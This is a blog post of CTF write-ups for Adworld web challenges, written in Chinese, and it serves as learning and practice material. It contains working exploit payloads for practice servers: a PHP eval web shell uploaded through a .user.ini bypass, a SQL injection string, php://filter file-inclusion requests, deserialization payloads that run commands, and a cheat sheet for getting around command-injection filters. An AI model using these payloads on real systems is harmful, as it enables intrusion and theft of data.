Adworld Web Writeups 1

Coast23

注意, 这里的大部分题都是 动态flag.

Training-WWW-Robots

先访问 /robots.txt:

User-agent: *
Disallow: /fl0g.php


User-agent: Yandex
Disallow: *

再访问 /fl0g.php.

Flag: cyberpeace{a727b7e6310991a4dc9d8020eaa232c5}


PHP2

dirsearch扫了半天, 扫不出一个200.

只好开摆, 查了一下这道题, 才知道有.phps文件… 而我的所有字典都没有.phps, 难怪扫不出来.

拿到源码就好办了:

<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

要求: urldecode后是admin, 直接URL编码绕过.

a的ASCII是 97 , 十六进制是 61 .
%的ASCII是 37, 十六进制是 25 .

构造 id%2561dmin即可.

Flag: cyberpeace{068c53f5e2709a1f18ee797ed388492d}


unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

代码漏了一个}.

是一道简单的 PHP 反序列化绕过的题.

显然, 我们要尝试绕过 __wakeup 函数.

当成员属性数目大于实际数目时, 即可绕过 __wakeup.

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}

$obj = new xctf();
$str = serialize($obj);
echo $str; # O:4:"xctf":1:{s:4:"flag";s:3:"111";}
?>

构造的 code 为:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Flag: cyberpeace{610f9c0c99ab7b07276966de257e2da1}

PHP反序列化漏洞可参见这篇文章进行学习.

ics-06

点击 报表中心 跳转 /index.php?id=1.

审计了一下页面的源码, 没发现什么异常.

看看题目描述: 云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

改了一下 id , 没任何反应.

盲猜要爆破 id.

爆破脚本:

import requests
import os
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "http://61.147.171.105:54036/index.php?id="

def fetch(id: int):
resp = requests.get(url + str(id))
resp.encoding = resp.apparent_encoding
if "送分题" not in resp.text:
with open("id.txt", "w") as f:
f.write(str(id))
print(f"Found id: {id}")
os._exit(0)


def main():
with ThreadPoolExecutor(max_workers = 64) as hacker:
for id in range(65536):
hacker.submit(fetch, id)

if __name__ == "__main__":
main()

几秒就爆破出 id=2333, 访问即可得到 flag.

Flag: cyberpeace{8c3fdb44278bc65198b6da8c732b7ed6}


view_source

F12 即可.

Flag: cyberpeace{f200b00df770f8fd9df2da5d7f3e505e}


get_post

没啥好说的.

exp:

import requests

url = "http://61.147.171.105:57451"

resp = requests.post(url, params = {"a" : 1}, data = {"b" : 2})
resp.encoding = resp.apparent_encoding
print(resp.text)

Flag: cyberpeace{ba973dd8b02a14c684fe76531c9ccfbc}


robots

Training-WWW-Robots 一样.

先访问 /robots.txt, 再访问 /f1ag_1s_h3re.php.

Flag: cyberpeace{2d17e2577a19509abf26908004bb5f60}


backup

Q: “”你知道index.php的备份文件名吗?”
A: “index.php.bak

Flag: Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}


F12, 发现请求头里 look-here=cookie.php

访问 /cookie.php , flag 在响应头里.

Flag: cyberpeace{93fba8d1795a8bf596106002e7621db8}


这个系列好简单啊, 不想做了.

disabled_button

F12:

<input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth" />

disabled 删了, 再点击按钮.

或者用脚本模拟请求:

import requests

url = "http://61.147.171.105:56774/"

resp = requests.post(url, data = {"auth": "flag"})
print(resp.text)

Flag: cyberpeace{1dde99168aaacfeb8003d771cc6d5f2e}


weak_auth

用户名: admin
密码: 123456

Flag: cyberpeace{5b096bbe212168f19a8578d023a80f90}


simple_php

<?php
show_source(__FILE__);
include "config.php";
$a = @$_GET['a'];
$b = @$_GET['b'];
if ($a == 0 and $a) {
echo $flag1;
}
if (is_numeric($b)) {
exit();
}
if ($b > 1234) {
echo $flag2;
}
?>

考察 PHP 的特性.

  • ==: 类型转换后再判断是否相等. (值相等, 类型可不相等)
  • ===: 类型也要相同才相等. (值和类型都相等)

$a == 0 and $a: 很容易实现, 让 $a 是一个非数字字符串即可.

not is_numeric($b) and $b > 1234: 字符串 114514HHH 弱类型转换后是 114514, 像这样绕过即可.

exp:

import requests

url = "http://61.147.171.105:50858"

resp = requests.get(
url,
params = {
"a": "qwq",
"b": "1919810HH"
}
)
resp.encoding = resp.apparent_encoding
print(resp.text)

Flag: Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}


baby_web

一打开 link, 就被重定向到 /1.php.

初始界面? 不就是 /index.php吗?

改 url 为 /index.php, 仍然被重定向到 /1.php.

打开控制台, 发现 /index.php 的相应头里有一句 FLAG: flag{very_baby_web}.

Flag: flag{very_baby_web}


inget

页面就一句话: Please enter ID,and Try to bypass

F12 发现请求头里有一句 look-here=cookie.php. (其实每道题都是这样)

访问 /cookie.php, 404…

dirsearch 没扫出任何东西.

于是开始揣摩出题人意图.

题目名为 inget, 结合 enter ID, 猜测就是要用 GET 请求发送一个 id 参数.

id 的内容, 就是要用于 bypass. 要绕过啥?

我的第一反应就是SQL 注入

构造 id 为: ' OR '1' = '1:

成功 get flag.

Flag: cyberpeace{2f96c137abbaa0a44e4674d072e8ca34}

easyupload

发现上传的文件可以直接被访问.

看了一下源码, 没看到文件校验的代码, 说明是后端校验.

尝试构造一个 PHP 文件, 执行传入的命令并打印.

但是提交的时候, 页面显示 Your file looks wicked. 看来*.php 被 ban 了.

随便传了个 *.txt 上去, 显示 your filetype looks wicked.

文件最开始加一行 GIF89a, 再次提交, 成功.

而文件内容只要包含 php, 就不行.

总结一下题目要求:

  1. 格式校验, 用文件头 GIF89a 绕过就行.
  2. 后缀不能是 .php
  3. 文件内容不能出现 php. 这个用 绕过即可.

重点在于第二个要求. 如何让 PHP 解析非 .php 文件 ?

知识点: .htaccess 和 .user.ini
  • .htaccessApache 服务器的配置文件, 用于配置网站的一些参数, 其中包括文件的解析方式.

通过上传如下的 .htaccess 文件:

<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

就可以让 *.jpg 文件被视为 PHP 代码来执行.

不过, 这是 Apache 服务器的配置文件, 此题的环境是 Nginx, 行不通.

  • .user.iniPHP 的配置文件, 功能和 .htaccess 有点像, 其中有用的两条是 auto_prepend_fileauto_append_file, 其意义是将指定的文件内容插入到每个 PHP 文件, 其中 prepend 是在文件开头插入, append 是在文件结尾插入.

利用 .user.ini 的前提:

    1. 题目开启了 CGI 或者 FastCGI.
    1. 同目录下有可以访问的 .php 文件.

此题可以通过上传如下 .user.ini 文件:

GIF89a
auto_prepend_file = hack.gif

然后再上传如下 hack.gif 文件:

GIF89a
<?=eval($_POST['cmd']);?>
攻击过程

直接传 .user.ini, 显示 your filetype looks wicked.

只能启动 Burp Suite 了.

Intercept 打开, 上传 .user.ini 的时候, 把 Content-Typeapplication/octet-stream 改为 image/gif 即可成功上传.

然后再上传 hack.gif.

最后, 用 菜刀 连接即可, 打开虚拟终端, 一顿操作和观察, 发现 flag 在根目录下.

cat /flag 即可 get flag.

Flag: cyberpeace{1812ad12734cd4c9a47f1e6482a31c82}


fileinclude

F12 查看源码, 发现有一段 php:

<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>

发现 @include , 是文件包含漏洞.

这篇文章进行了学习.

需要利用 php伪协议: php://filter/read=?/resource=?.

其中, read 是过滤器, 多个过滤器用 | 分隔, resource 是要读取的文件路径.

构造 languagephp://filter/convert.base64-encode/resource=flag.

import requests

resp = requests.get(
url="http://61.147.171.105:61925",
headers={"Cookie": "language=php://filter/convert.base64-encode/resource=flag"},
)
print(resp.text)

在其中找到 PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezFkZGFkYzdlNjI2MTlmNDVlYWU3OTA2ZDliYTY2MGJkfSI7DQo/Pg==, 解码得到:

<?php
$flag="cyberpeace{1ddadc7e62619f45eae7906d9ba660bd}";
?>

Flag: cyberpeace{1ddadc7e62619f45eae7906d9ba660bd}


fileclude

<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET["file1"]) && isset($_GET["file2"])) {
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if (! empty($file1) && ! empty($file2)) {
if (file_get_contents($file2) === "hello ctf") {
include $file1;
}
} else {
die("NONONO");
}

}

$file1 的构造和上一题一样, 接下来思考怎么构造 $file2.

目标: 让 file_get_contents($file2) 返回字符串 hello ctf.

这个用 php://input 即可实现.

import requests

resp = requests.get(
url="http://61.147.171.105:60952/",
headers={"Cookie": "language="},
params={
"file1": "php://filter/convert.base64-encode/resource=flag.php",
"file2": "php://input",
},
data="hello ctf",
)
print(resp.text)

输出中找到 PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXtiOTQzYTBlNzZiMWI1NWZhODljNzQ2N2MyYTRlOGI2OX0=, 解码得到:

<?php
echo "WRONG WAY!";
// $flag = cyberpeace{b943a0e76b1b55fa89c7467c2a4e8b69}

Flag: cyberpeace{b943a0e76b1b55fa89c7467c2a4e8b69}


easyphp

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if (isset($a) && intval($a) > 6000000 && strlen($a) <= 3) {
if (isset($b) && '8b184b' === substr(md5($b), -6, 6)) {
$key1 = 1;
} else {
die("Emmm...再想想");
}
} else {
die("Emmm...");
}

$c = (array) json_decode(@$_GET['c']);
if (is_array($c) && ! is_numeric(@$c["m"]) && $c["m"] > 2022) {
if (is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])) {
$d = array_search("DGGJ", $c["n"]);
$d === false ? die("no...") : null;
foreach ($c["n"] as $key => $val) {
$val === "DGGJ" ? die("no......") : null;
}
$key2 = 1;
} else {
die("no hack");
}
} else {
die("no");
}

if ($key1 && $key2) {
include "Hgfks.php";
echo "You're right" . "\n";
echo $flag;
}

?> Emmm...
a的条件

目标: intval($a) > 6000000 && strlen($a) <= 3

我想到的是用科学技术法, 构造 $a=9e9. 但不同的 php 版本, 这样的结果可能不同.

b的条件

目标: '8b184b' === substr(md5($b), -6, 6), 即 $b 的md5 后 6 位为 8b184b.

直接爆破! 我这里爆了 3 个出来.

from hashlib import md5
import random
import string

cnt = 0

while True:
cnt += 1
s = ''.join(random.sample(string.ascii_letters + string.digits, 8))
b = md5(s.encode('utf-8')).hexdigest()
if b.endswith("8b184b"):
print(f"str: {s}\nmd5: {b}\nAttempts: {cnt}")
break

# str: 7Xxpgw9t
# md5: 56d4f0c319d42646b3737e86fd8b184b
# Attempts: 9810929
# -------------------------------------
# str: ZdYtqgH8
# md5: d8f209f5f1d41cd958c2fd53868b184b
# Attempts: 24920372
# -------------------------------------
# str: HRKp6bh8
# md5: e8cade3139470760697e088f7c8b184b
# Attempts: 45048083
c的条件
  1. 是一个 array.
  2. 包含键 m , m 不是数字, 但转为数字后大于 2022.
  3. 包含键 n , n 是一个 array, 且 n 中有两个元素, n[0] 也是一个 array.
  4. c["n"] 里必须有 DGGJ (array_search查找, 其比较是用 == 而不是 ===).
  5. c["n"] 中不能有 DGGJ.

构造:

{
"m": "114514qwq",
"n": [[], 0]
}

最后的参数为:

a=9e9&b=7Xxpgw9t&c={"m":"114514qwq","n":[[],0]}

Flag: cyberpeace{7654290768236bd2dd393bce0018d745}


file_include

<?php
highlight_file(__FILE__);
include "./check.php";
if (isset($_GET['filename'])) {
$filename = $_GET['filename'];
include $filename;
}

以为和 fileinclude 一样, 构造 filenamephp://filter/convert.base64-encode/resource=flag.php.

结果显示 do not hack!

盲猜过滤了关键词.

几次尝试, 得知 base 被过滤.

那就搜一下除 base64-encode 外其它的 filter: PHP Manual 列举的 filters

quoted-printable-encode 也被 ban 了, 只能使用 iconv.*. 支持的编码

直接用官网的例子: php://filter/convert.iconv.utf-16le.utf-8/resource=flag.php

把输出的乱码扔到乱码恢复网站, 即可得到 flag.

顺便看看 check.php 长啥样:

<?php
if ($_GET["filename"]) {
$preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';
if (eval($preg_match_username)) {
die("do not hack!");
}
}

Flag: cyberpeace{52752fc6688c4ec81d7707ec8db50d5c}


unseping

<?php
highlight_file(__FILE__);

class ease
{

private $method;
private $args;
public function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}

public function __destruct()
{
if (in_array($this->method, ["ping"])) {
call_user_func_array([$this, $this->method], $this->args);
}
}

public function ping($ip)
{
exec($ip, $result);
var_dump($result);
}

public function waf($str)
{
if (! preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}

public function __wakeup()
{
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}

$ctf = @$_POST['ctf'];
@unserialize(base64_decode($ctf));

又是一道 PHP 反序列化漏洞.

waf 可知, | & ; 空格 / cat flag tac php ls 被过滤了.

考虑绕过.

以下是常见的绕过方式:

空格绕过

${IFS}
cat${IFS}flag
cat${IFS}$1flag
cat$IFS$1flag
<>重定向符
cat<>flag
cat<flag

黑名单绕过

变量拼接
a=ca;b=t;c=fl;d=ag;$a$b $c$d
引号
ca''t fl""ag
反斜杠
ca\t fl\ag
Base64
echo "Y2F0IGZsYWc="|base64 -d|bash
[终极] printf编码绕过
$(printf "\154\163") # ls
$(printf "\x6c\x73") # ls

Python转换代码:

CMD = "ls" # 命令
BASE = 8 # 进制, 8或16

res = ""

if BASE == 8:
res = "".join(f"\\{oct(ord(c))[2:]}" for c in CMD)

elif BASE == 16:
res = "".join(f"\\x{hex(ord(c))[2:]}" for c in CMD)

print(f'$(printf${{IFS}}"{res}")')

在这题中, 2 种绕过空格的方式均可用, 黑名单可以用反斜杠或引号绕过.

$a = new ease("ping", ['l\\s${IFS}-l']);
echo base64_encode(serialize($a));
echo "\n";

上传 payload , 得到:

array(3) {
[0]=>
string(7) "total 8"
[1]=>
string(53) "drwxr-xr-x 1 root root 4096 Mar 16 08:45 flag_1s_here"
[2]=>
string(50) "-rwxr-xr-x 1 root root 863 Aug 18 2022 index.php"
}

看到一个目录 flag_1s_here.

$a = new ease("ping", ['l\\s${IFS}fl""ag_1s_here']);

得到:

array(1) {
[0]=>
string(25) "flag_831b69012c67b35f.php"
}

最后还是得用 printf编码绕过.

exp:

CMD = "cat flag_1s_here/flag_831b69012c67b35f.php" # 命令
BASE = 8 # 进制, 8或16

res = ""

if BASE == 8:
res = "".join(f"\\{oct(ord(c))[2:]}" for c in CMD)

elif BASE == 16:
res = "".join(f"\\x{hex(ord(c))[2:]}" for c in CMD)

print(f'$(printf${{IFS}}"{res}")')
<?php

class ease
{

private $method;
private $args;
public function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}

$a = new ease("ping", ['$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")']);
echo base64_encode(serialize($a));
echo "\n";

die;

?>
import requests

payload = "Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319"

resp = requests.post(
url="http://61.147.171.105:53527",
data={"ctf": payload},
)

print(resp.text)

"""
array(2) {
[0]=>
string(5) "<?php"
[1]=>
string(47) "//$cyberpeace{a765167d90c33c4df7ce9297482a4676}"
}
"""

Flag: cyberpeace{a765167d90c33c4df7ce9297482a4676}

  • 标题: Adworld Web Writeups 1
  • 作者: Coast23
  • 创建于 : 2025-03-15 17:38:23
  • 更新于 : 2025-03-18 00:16:04
  • 链接: https://coast23.github.io/2025/03/15/Adworld-Web-Writeups-1/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论